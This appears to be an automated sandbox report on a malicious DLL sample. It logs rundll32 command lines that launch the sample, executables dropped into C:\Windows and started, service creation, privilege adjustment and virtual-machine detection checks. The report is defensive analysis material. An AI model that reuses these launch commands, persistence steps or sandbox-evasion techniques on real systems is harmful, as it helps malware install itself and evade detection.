Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IU28r0EZFA.dll,PlayGame	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",PlayGame	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable

Source: C:\Windows\mssecsvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\tasksche.exe

Code function: 9_2_00406553 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,

9_2_00406553

Source: C:\Windows\tasksche.exe

Code function: 9_2_00419BB0 CoCreateInstance,

9_2_00419BB0

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IU28r0EZFA.dll,PlayGame

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5248:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5372:120:WilError_01

Source: C:\Windows\tasksche.exe	Command line argument: sfxname	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: sfxstime	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: STARTDLG	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: @CB	9_2_00424290

Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK

Source: C:\Windows\tasksche.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: IU28r0EZFA.dll

Static file information: File size 5267459 > 1048576

Source: IU28r0EZFA.dll

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000

Source:	Binary string: d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb source: mssecsvr.exe, 00000005.00000000.251257193.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvr.exe, 00000007.00000000.257778750.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvr.exe, 00000008.00000000.258814288.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvr.exe, 00000008.00000002.779909351.0000000001E99000.00000004.00000800.00020000.00000000.sdmp, mssecsvr.exe, 00000008.00000002.781421602.00000000023C4000.00000004.00000800.00020000.00000000.sdmp, tasksche.exe, 00000009.00000003.265166477.0000000002733000.00000004.00000800.00020000.00000000.sdmp, tasksche.exe, 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmp, tasksche.exe, 00000009.00000000.262284473.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000000.264552008.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000003.266491652.000000000273B000.00000004.00000800.00020000.00000000.sdmp, tasksche.exe, 0000000A.00000002.773228857.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000003.265497985.0000000003D4E000.00000004.00000800.00020000.00000000.sdmp, IU28r0EZFA.dll, mssecsvr.exe.3.dr, tasksche.exe.5.dr
Source:	Binary string: WaaSMedicSvc.pdb source: waasmedic.20221222_180332_622.etl.17.dr

Source: C:\Windows\tasksche.exe	Code function: 9_2_0041FAE1 push ecx; ret		9_2_0041FAF4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041A4DC push eax; ret		9_2_0041A4FA

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_0040CEB6

Source: C:\Windows\tasksche.exe

File created: C:\Windows\__tmp_rar_sfx_access_check_6070234

Jump to behavior

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\rundll32.exe	Executable created and started: C:\WINDOWS\mssecsvr.exe			Jump to behavior
Source: C:\Windows\mssecsvr.exe	Executable created and started: C:\WINDOWS\tasksche.exe			Jump to behavior

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Code function: 5_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

5_2_00407C40

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Source: C:\Windows\mssecsvr.exe TID: 5308	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 5308	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 5312	Thread sleep count: 255 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\mssecsvr.exe	Last function: Thread delayed
Source: C:\Windows\mssecsvr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_9-19228
Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_9-19428

Source: C:\Windows\tasksche.exe

Dropped PE file which has not been started: C:\Windows\eee.exe

Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Windows\tasksche.exe

API call chain: ExitProcess graph end node

graph_9-19230

Source: tasksche.exe, 0000000A.00000003.657656868.00000000008A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d_VMware_SATA_CD0`
Source: tasksche.exe, 0000000A.00000003.770317649.0000000006AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000F.00000002.779189961.0000022D395B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: tasksche.exe, 0000000A.00000003.751019075.00000000008A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}217
Source: tasksche.exe, 0000000A.00000003.674676856.0000000006A66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 6e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: mssecsvr.exe, 00000008.00000002.778784735.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000008.00000002.779067326.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tasksche.exe, 0000000A.00000003.399130597.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}""Y
Source: tasksche.exe, 0000000A.00000003.597016922.0000000006A63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: tasksche.exe, 0000000A.00000003.656926947.0000000006A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}<
Source: tasksche.exe, 0000000A.00000003.699806036.0000000006AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}onc
Source: tasksche.exe, 0000000A.00000003.597016922.0000000006A63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}~
Source: tasksche.exe, 0000000A.00000003.615381881.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d_VMware_SATA_CD05
Source: tasksche.exe, 0000000A.00000003.699735086.0000000006A75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: '0ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53
Source: svchost.exe, 0000000B.00000002.773449514.0000020DFAC40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.773250491.000001E446229000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tasksche.exe, 0000000A.00000002.779496485.0000000006AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}R
Source: tasksche.exe, 0000000A.00000003.770317649.0000000006AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}S
Source: tasksche.exe, 0000000A.00000003.711886905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD0`
Source: tasksche.exe, 0000000A.00000003.770246146.0000000006A65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD0.
Source: tasksche.exe, 0000000A.00000002.779285334.0000000006A66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD0\|\|q
Source: tasksche.exe, 0000000A.00000003.674771442.00000000008A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Users_VMware_SATA_CD0`
Source: mssecsvr.exe, 00000008.00000002.779067326.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@YO
Source: svchost.exe, 0000000F.00000002.779189961.0000022D395B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware7,1
Source: tasksche.exe, 0000000A.00000003.597016922.0000000006A63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}c
Source: tasksche.exe, 0000000A.00000003.735025845.0000000006A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: "C:\Users\userProd_VMware_SATA_CD0.
Source: tasksche.exe, 00000009.00000002.778876848.0000000006E20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}h
